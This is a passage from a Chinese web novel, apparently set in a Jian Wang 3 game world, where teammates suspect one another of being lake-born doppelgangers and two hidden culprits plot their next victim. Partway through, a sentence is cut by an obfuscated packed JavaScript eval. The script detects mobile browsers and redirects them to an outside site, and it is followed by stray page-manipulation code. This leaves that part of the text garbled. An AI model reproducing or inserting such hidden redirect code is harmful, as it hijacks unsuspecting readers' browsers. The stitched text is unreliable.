“怎么了?”谢不若一头雾水,转身端详柳七刀面色,顿时就跟见了鬼一样,“不是,你脸色怎么这么差?不会害怕了吧。” “我总感觉有哪里不对劲,很危险。”柳七刀无视了他的玩笑,紧张道,“bro,你——” “我靠!你要说啥!”谢不若如临大敌,一个驰风八步退得远远的,飞速捂住耳朵,“我警告你,别立flag嗷!” 怎么把这给忘了,柳七刀一拍脑袋,有点懊悔,赶紧闭了嘴。 他和谢不若共用一个脑回路,坚信大战之前必有预言家,听上去像flag的话可千万不能乱说。 想了又想,柳七刀采取了非常谨慎的措辞:“感觉事态有异啊,不知道为什么但就是感觉事态有异,咱俩都得多小心一点。” “知道,这还用你说?”谢不若摆摆手,“倒是你,自从接到颂命的信之后你就神神叨叨的,看着魂都不知道飞哪去了,连自己照了‘镜子’都不知道,第一个有恶面的就是你,还搁这担心别人呢。” 柳七刀本来还想再跟他说几句,听到谢不若这么说,思路又被带着跑了。 都不用谢不若指出来,他也能感觉到自己第七天表现很差,主要是颂命那封信也太吓人了,尤其是最后那句“团队里的很多人都会因此死去”,就像座大山一样压在他的心头,让他一刻也不敢放松。 不过,他真的照过湖水吗? 柳七刀无论怎么绞尽脑汁地回忆,都想不起来这段记忆。 难不成还真是在救尹有攸的时候照到了?一片混乱中不小心和自己的倒影对视到了,好像也不是不可能,而且那种紧急的情况下他也根本不会留意这种无足轻重的细节——什么无足轻重,现在回头再看,简直是要害死人了。 “说你两句,还当真了。” 谢不若看他眉头紧皱,用力拍了拍他的后背:“兵来将挡,水来土掩,这都第七天了,什么鬼东西咱们没见过,一个恶面就怕了?” 谢不若下手是一点力气没留,柳七刀被拍得魂都要从嘴里吐出来了,声音抖得像外星人刚来地球:“知~~~~道~~~~~了~~~~~!” 他躲过谢不若的夺命掌,抬眼却忽然一愣。 ——到了这会儿,柳七刀才注意到,谢不若斗笠上那些用来装点的白羽纹路里,多了根新的蓝黄相间的羽毛。它看起来明明和那些精致的羽毛刺绣格格不入,却又被很珍惜地黏在了最里面,随风轻轻摇摆着,像小鸟在扇动翅膀。 不知道谢不若是什么时候把它粘上去的,之前他一直心不在焉,竟然没有发现。这样算起来,谢不若其实心里应该更难受、更复杂,没有时间悲伤,还得反过来照顾自己的情绪。 这真得打起精神来吧柳七刀!他垂在身侧的手紧握成拳又松开,最后落在了新亭侯的刀柄上。 “那我走了。”柳七刀说,深吸一口气,用最平静的口吻放了句狠话,“如果真的遇到了另一个‘我’,我就把他一刀砍了。” 76. 第七天·翡翠瑶池(七十六) 草丛一阵翕动,片刻后,一只灰色的野兔从里面警觉地露出头来。 哧一声轻响,还未等起跳,野兔便栽倒在草里。 唐逐星把千机匣收回腰间,拨开兔子后颈绒毛将迷神钉拔出来,反手将这软绵绵的一大坨扔进背后的筐里。 落难侠客要他们活捉兔子,活物又不能收进小队背包,唐逐星便顺手折了树枝编了个大木筐。唐门一贯手巧,他这只木筐也编得像模像样,只是兔叠兔已经装得快满了,一撮撮肥嘟嘟的皮毛从树枝的缝隙里直往外溢。 这是唐逐星半个上午来抓到的第五只兔子。平心而论,这个任务和他们前两天采集草药一样,听上去十分离谱,做起来又不算很难。落难侠客发布这个任务的真正目的,可能只是想让玩家们分头行动。 这种模式,在狼人杀一类的游戏里尤其常见,一般都是为了给混进好人阵营的狼人们趁机动手刀人的机会,就是不知道隐藏在他们之中的“狼人”会是谁了…… 正想着,身后响起道短促的口哨声。唐逐星回头看去,就发现尹有攸从几十尺外的地方冒出头来。 他的出场造型十分别致,怀里抱了两只兔子,手上还拎了一对儿,所有的野兔都在不断挣扎,尹有攸手忙脚乱,按住这只又怕那只跑了,看得唐逐星在心里直摇头——他要是恶面,这一个照面就够尹有攸死一万次了。 怕落难侠客真能监视他们,两个人很默契地保持着一定距离,不敢靠近,隔着中间横亘的山岩互相打量。 “看见其他人了吗?” “……没有。”尹有攸好不容易把边越狱边放声尖叫的野兔揣进松松垮垮的裤腰带里,一抬头就看见唐逐星背上的木筐,这下仿佛见了救星,连忙道,“我也要一个。” “等着。”唐逐星无奈道,开始就近寻找合适的树枝。 编木筐也需要时间,两个人离得远远的,又隔空聊起了昨天晚上没说完的话题。 唐逐星本来以为,既然恶面选择了尹有攸作为第一个下手的对象,就说明他的存在一定程度上会影响到恶面后续的行动,所以才会被首先袭击;失败之后,恶面就把袭击的对象转为可以奶队友的龙葵和祝灵正了。 怪就怪在,从这两次袭击上,可以看出很明显的差别来。 从手法上看,尹有攸不知不觉中就被暗算到了,诡异到连周围的队友们都没有丝毫察觉;而龙葵是在救谢不若他们的过程中被袭击,祝灵正也是在追赶陆厌和李千驰的过程中被偷袭,相比起来,这后两次的手法未免也太急躁、太大胆了一些。再从结果上看,如果不是柳七刀和方叱羽恰好先后经过,尹有攸一定是必死无疑;而针对龙葵的那次袭击,但凡柳七刀回个头都不会成功,祝灵正更是直接被裴洛川南风吐月保下了性命。 这是什么意思呢?能实行第一次袭击那样堪称“完美犯罪”的恶面,为什么换用了如此粗糙的方法?难道说尹有攸没死这个事实,导致恶面后续不得不采取了没有那么妥帖的袭击方式?那恶面为什么在一次失败之后就放弃了尹有攸? “如果你的存在真有这么大影响,是我的话,一定想方设法干掉你。”唐逐星百思不得其解,扬手把编好的筐子扔了过去,“接着。” 尹有攸对队友时不时混乱邪恶的暴言已经习以为常,根本没往心里去,只为自己岌岌可危的裤腰带松了口气。他抓起兔子往筐里塞,自顾自地点起了数:“一、二、三、四……” 不对。 唐逐星听他数着兔子,忽然灵光乍现。 恶面肯定不止一个,这应该是大家心照不宣的想法,毕竟在外的龙葵和在营地的祝灵正几乎算是同时遭到袭击的。但这东西,应该是有产生顺序的吧! 如果按照梁生的说法,白天照“镜子”,夜里产生恶面,那会不会第一天白天袭击尹有攸的时候,恶面的数量还不够,所以必须稳扎稳打,因此那时候的恶面才想第一个就干掉人形自走监控器尹有攸?虽然这次行动失败了,但当夜出现了更多恶面,在这种情况下,他们就没有必要再那么在乎尹有攸的存在了,因为新同盟的加入带来了新的方法…… 搞锤子哦,那恶面一共有好多啊? 又或者,不是数量的问题,而是特别的某个人? 因为一些特别的人变成了恶面,所以导致他们行事肆无忌惮起来…… 尹有攸摸着野兔脑袋的手突然一顿。 “有人来了。”他把木筐往身后一背,站起来警惕道。唐逐星顺着他示意的方向看过去,远处树林中果然隐约有道人影正在朝他们快速地靠近。 两个人都不再说话,开始戒备。 来人行色匆匆,脚步仓促,一点也不像是在抓野兔,更像是在寻找什么大目标。当他的脸清楚地出现在视野中的那一刻,尹有攸倒吸一口凉气,直接从背后抽出了打狗棒,唐逐星更是目光一凛,将螭首千机架了起来,对准了来人。 原因无他——那人竟然是现在本应在营地里看护伤员的裴洛川! 滴答、滴答。 黑夜中湖面浪波翻涌,好像一汪大海包围着小小的营地。 一股潮朽的气息随夜风在营地里静静地蔓延开来,帐篷外面似乎有人在走动,湿透了的靴底踩在地上,留下几不可闻的水声。 帐篷绷直的篷布弹动几下,一只手突然搭了上来,几道水痕顺着硬质布料的纹路中歪歪扭扭地流淌着,一路上留下成片水渍,最终悄无声息地汇入地面。 祝灵正紧闭双眼,呼吸渐渐急促起来。半梦半醒中,他有一种很不适的感觉,好像有什么人正站在他身边冷眼看着他,那视线没有半分感情,像是在看一个将死之人。 他明明没有睁眼,却仿佛能看到周围的情形: 火光跳跃着,在帐篷上投下一道黑影,片刻后,门帘掀起一阵潮湿的微风。有人进来了,但本应该值夜的行守此刻却低垂着头,靠在帐篷边上睡得很沉,似乎完全没有察觉。 快醒醒!祝灵正想要叫醒行守,但无论如何挣扎也发不出声音,眼皮更是如同灌铅一般沉重。 啪嗒、啪嗒。湿漉漉的脚步越过祝灵正身边,那个人径直朝行守走去,无声地停顿了一会儿之后,那脚步声又响了起来,这次,是直直地冲着他来了。 祝灵正毛骨悚然,昏昏沉沉中,他用尽力气努力抬眼看去,视野中却只看到殷红的鲜血无声地顺着墙角流淌,金刚棍滚落在血泊之中。 还在滴落着血的刀被高高举了起来,刀身上反射出刺眼的白光—— 祝灵正猛地睁开眼睛,被晃眼的日光刺激得紧皱眉头。 “你醒了!” 卫山河刚刚把门帘卷起来,意识到阳光太过刺眼,他又赶紧松开手,转回到祝灵正榻边:“感觉怎么样?” 是梦吗?祝灵正刚想说话,胸口的伤却随着意识的回归爆发出剧烈的疼痛,气管一瞬间好像被一股巨力攥紧,传来无法控制的窒息感。 一口凉气呛进肺里,祝灵正咳起来,胸腔震动碰到了没有愈合的狰狞伤口,更是疼得蜷起了身子。卫山河见状吓了一跳,急忙过来按住他的肩膀:“千万别动!好不容易止住血,伤口可不能再崩开!” 不用卫山河说,祝灵正也能感觉到胸前的绷带处又蔓延开一股滚烫的热流。血液从身体里流失的感觉太可怕了,但他疼得连手都抬不起来,更没办法给自己施加天人合一。 他咳得昏天黑地,卫山河洁癖也顾不上了,手忙脚乱地拿着凝血精和绷带给他处理再度崩开的伤口,一片混乱中,闪进视野的一幅景象却让祝灵正整个人都顿时怔住,连咳嗽都忘记了。 正对着他的那一面帐篷的篷布上,在日光的照射下,隐约浮现出几道不甚明显的水渍。 仔细看,就能看出来,那是一只手掌的形状。 “怎么了?” 卫山河注意到祝灵正的僵硬,转过头,也看到了帐篷上的掌印。 他皱起眉头扫了一眼,看不出有什么特别之处。 按理说营地里人来人往,几乎每个人都来探视过龙葵和祝灵正,无意间留下这种痕迹也很正常,但这掌印偏偏是水痕。 这就很耐人寻味了,毕竟他们刚刚才明确了这地图的危险实际来自于恶面,而恶面又和湖水有千丝万缕的联系。 祝灵正满头冷汗,平复着呼吸,没有办法立刻回答。 袭击者虽然没能杀死他,但从另外一种角度来说,也已经达成了目的。现实不同于游戏,没有可视化的蓝条,玩家们平时释放技能只能通过身体机能的反馈来进行判断,而祝灵正现在就感觉丹田空空如也,仿佛无底洞一样根本聚不起气来,好像又变回了一个普通人。 放弃了做无用功,他用沙哑的嗓音艰难问道:“行……守?” “行守?”卫山河一愣,“他就在外面。要叫他进来吗?” “……”祝灵正松了一口气,缓缓地摇了摇头。 按理说,人在时断时续的昏迷中很容易产生幻听幻视,或者混淆梦境与现实。之前的种种,可能真的只是一场难以分辨的梦。 ——但这是浪客行。 卫山河给他处理好崩开的伤口,沾了血的手也顾不上擦了,只沉声问道:“你先想想,梦里有什么细节?” 人不可能无缘无故地产生幻觉,祝灵正会做这样的梦,一定是因为感受到了什么,更何况衍天多少具备一些玄之又玄的特性。 也就是说,也许在昨晚的某个瞬间,恶面真的混入了他们之间,对这个帐篷里面的三个人起了杀心! 不过,和祝灵正的梦境不同,现实中他们的防守还算严密,那恶面应该是没有找到再度下手的机会,这才离开了。 但这个人会是谁呢? 昨晚大家的注意力全都在受伤的二人身上,等龙葵和祝灵正的情况安定下来之后,柳七刀又不见踪影了,至少卫山河自己根本没注意到这些细枝末节的事情,想来其他人也是一样。 “梦里的细节……” 祝灵正无意识地轻声重复。 他平躺着,看不到自己胸前的伤口,只能感受到要将整个人活活从中撕裂开来一般的疼痛。 “这是刀伤么?”他微微侧过头,问卫山河。 “不知道是刀还是剑,差不多就是这一类的武器——”卫山河说到一半忽然反应过来了,屏住呼吸,确认道,“刀?” “不是剑,是刀。” 眼前一阵阵发黑,祝灵正干脆闭上眼。他的声音也很虚弱,好像一阵风就能给吹散,话中的意味却十分笃定。 梦里看不清武器的式样,但不知为何,他就是清晰地知道,那是一柄刀,刀刃上滚着浑圆的血珠,反射着一点不祥的、暗淡的红光。 剑三里用刀的也就那么几个门派,卫山河紧皱眉头,深感到目前为止的所有线索似乎都太具有针对性了:“怎么哪哪都有霸刀的事。” 祝灵正还不清楚恶面的事情,闻言迷惑道:“霸刀?柳七刀?他怎么了?” “颂命那封信上写的几个词已经确定了——”卫山河刚要从头讲起,话说到一半,声音又放轻起来,原来是祝灵正的呼吸又渐渐趋于绵长,陷入了沉睡。 能多休息一会儿也是好的。卫山河小心翼翼地将掉落的薄毯往上拉了拉,快步走出了帐篷,准备把这条情报传递出去。 行守正在外面喂海雕,看见卫山河出来,仿佛发现新大陆般对他招了招手,而疾夜却一反常态,垂着脑袋,两只脚爪轻轻地来回刨着地,一副垂头丧气的样子。 “这又是怎么了?”卫山河一个头两个大,走过去才看到,行守肩上竟然有两道新鲜的抓痕,看样子伤得还不轻,汩汩地往外窜着小血珠。 “我有个新发现。”行守完全没在意那点伤,轻轻拍了拍疾夜的脖颈以示安慰,转头对卫山河道,“友伤免疫的限制消失了……换句话说,好友功能没了,第七天就相当于单人成队。” 卫山河疑道:“什么意思,这是疾夜抓的?它能伤到队友了?” 疾夜听得懂他们的对话,顿时喉咙里就咕噜了两声,低下头拱了拱行守,把没吃完的肉往他面前推了推。 “谢谢,我吃素的。”行守感动地念了句阿弥陀佛,又解释道,“刚刚雕兄落下的时候我没注意,被划了一下,没想到竟然有友伤了。看来恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691224|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面这东西是真的存在,而且和本体很难区分。” “这样啊。”卫山河略微沉吟,也转过弯来了。 如果恶面和玩家本体类似于华清宫那种寄生关系,免疫友伤,恶面就无法对玩家造成伤害;但如果恶面和玩家是两个不同的个体,通过友伤的检定,又可以轻松地分辨出谁才是假的那个。 看来浪客行是一点儿漏洞也不想让玩家钻。不过…… 他先后退了两步,站到安全距离外,才开始举一反三:“那假如说其实好友功能还生效,但你是恶面,所以你会被疾夜抓伤;为了防止我们发现起疑心,就先倒打一耙,这种可能性也是存在的吧。” “还挺有道理。”行守被他说服,开始认真自证,“我要是恶面,昨晚值夜的时候对龙葵和祝灵正动手的机会简直不要太多啊,我肯定是铁好人。” “因为你是和尚?”卫山河思考道,“机动性不强,很容易被发现,没法直接动手。” 行守沉默片刻,吐槽道:“气纯的机动性就很强吗?你现在不下生太极,我马上给你拉过来控死。” “……和尚就很难抓了吗?” 卫山河道。他故意往前走了两步,已经进入捉影式的范围内了,但行守显然还是更在意和尚无限接近于无的能动性,在那里碎碎念着锻骨啊无相啊,看起来对策划的怨念非常深重。 在这里把他抓死的话,起码能做到一换三,即使后面暴露了,对恶面来说也是稳赚不亏。这都能忍住不动手,看来行守真的不是恶面。 卫山河松了口气,在碎碎念的背景音中把关于刀和友伤的情报细细写好卷成纸条,绑在疾夜的腿上,看它清唳一声,飞向天空。 假如免疫友伤的设定真的不再起效,那他们肯定也不能通过游戏特有的设定来分辨恶面和玩家了,至少从前几天的经验来看,每个人都可以通过小队仓库存取药草。 一回头,他发现行守才刚念叨到二业:“……” 你们和尚到底是有多难玩啊?! “且慢、且慢,不急动手。” 另一边,裴洛川面对蓄势待发、如临大敌的鲸丐二人组,恍惚有种进了jjc的感觉,心说我这是造了什么孽。 他克制着太阴水月乱洒春泥接后跳的冲动,诚恳道:“我和行守换了班才出来的,不是恶面。” 唐逐星不接他的话,弩也端在手里没放下过:“卫山河还活着吗?你是不是已经对他们下手了?” “什么!” 这话没诈到裴洛川,先把尹有攸吓得震惊出声了,另一只手上提着的兔子也开始非常应景地放声尖叫并蹬腿,他又赶紧把兔子塞回筐子里往后拖,试图远离花间射程。 “不要造谣啊!”裴洛川无语,四处看了看,找了块山岩当掩体,怒道,“我还没怀疑你俩是恶面呢!” 唐逐星闷闷地笑了两声:“不好意思,非常时期。那你换班出来是有什么事么?” 说到正事,大家都严肃起来,裴洛川便道:“其实是师襄,她拜托我向大家分别确认一件事情。” 他倚在山岩之后,刚想掏出不离身的铜镜来当后视镜,又想起了这地图里镜子可不能乱照。虽然起到特殊作用的应该是湖水,但他向来谨慎,不敢冒险,只得露出一点头来,暗中观察。 “师襄?什么事?” 唐逐星问。裴洛川打量着他们,即使是突发情况下,两人还记得保持着落难侠客要求的分头行动的距离,另一头的尹有攸甚至还在安抚受惊的兔子们,对任务可以说是非常重视了,这表现显然和梁生形容中“恣睢无忌”的恶面对不上号。 虽然不排除他们还在伪装的可能,但也不能因噎废食,该办的事情还是得办。裴洛川想起师襄的叮嘱,深深吸了一口气。 “尹有攸。”他说,“你再仔细回忆一下,受到袭击的时候,离你最近的两个人是谁……注意,是两个人。” “……二、三、四、五、六。” 曲小蕨摸着野兔暖呼呼毛茸茸的皮毛,数道。 “小付老师,应该够了吧。”她将最大的那只野兔抱在怀中,站起来,“好像没必要再找新的了。” “嗯,已经足够了,剩下的再看有没有机会吧。” 付井仪淡淡道。 他没有管地上的兔子,而是转头看向另一边。 这片山崖居高临下,视野开阔,能一眼看到远处的湖泊。晴空之下,湖面碧绿如翠玉,风流云浮倒映其中,如同一面平放的水镜。 “好紧张、好紧张。”曲小蕨嘟嘟囔囔,在野兔耳朵和后脑温热皮毛中来回穿梭摩挲的手指很好地反映出了她的心情,“小付老师,你说,那个颂命既然选择给柳七刀写信,那是不是就说明柳七刀最后没事?那其他人都死了吗?” “也未必。柳七刀和其他人不太一样……”付井仪道,然而,具体是哪里不太一样,他却没有继续说下去。 “他跑得格外快倒是真的。”曲小蕨瘪瘪嘴,不满道,“昨天晚上呱太差一点点就被他给追到了,还好我掐得快。” “初始一定要和他拉开足够的距离,不然以召唤物的速度,很快就会被追上。”付井仪摇摇头,“对柳七刀的试探就到此为止吧,太尖锐的针对反而会招致怀疑。” “可是这样才好玩啊!不过看他惊慌失措的,也很有意思就是了。” 曲小蕨蹭了蹭野兔柔软的小脑袋,认真地掰起了手指头:“葵姐和小祝先不管了,早晚要动手的。尹有攸的话,哎,那次没成功太可惜了,感觉第二次动手包被发现的呀。要不……殷炽?他也挺麻烦的,他不是学过刑侦还是什么痕迹学来着嘛。” 她轻巧地数着名字,手下的野兔在力道逐渐加重的抚摸下身体僵硬着瑟瑟发抖,却半点都不敢挣扎,直到感受到疼痛,才用力蹬动起来,试图跳出曲小蕨的怀抱。 随着嘎嘣一声脆响,野兔软软地垂下了脑袋,后腿抽搐了几下,不动了。 曲小蕨松开捏住它脖子的手,感受着那皮毛下尚且温热鼓动的血液渐渐凝固、冰凉,仰起小脸,很期待地问付井仪: “咱们下一个抓谁呢?”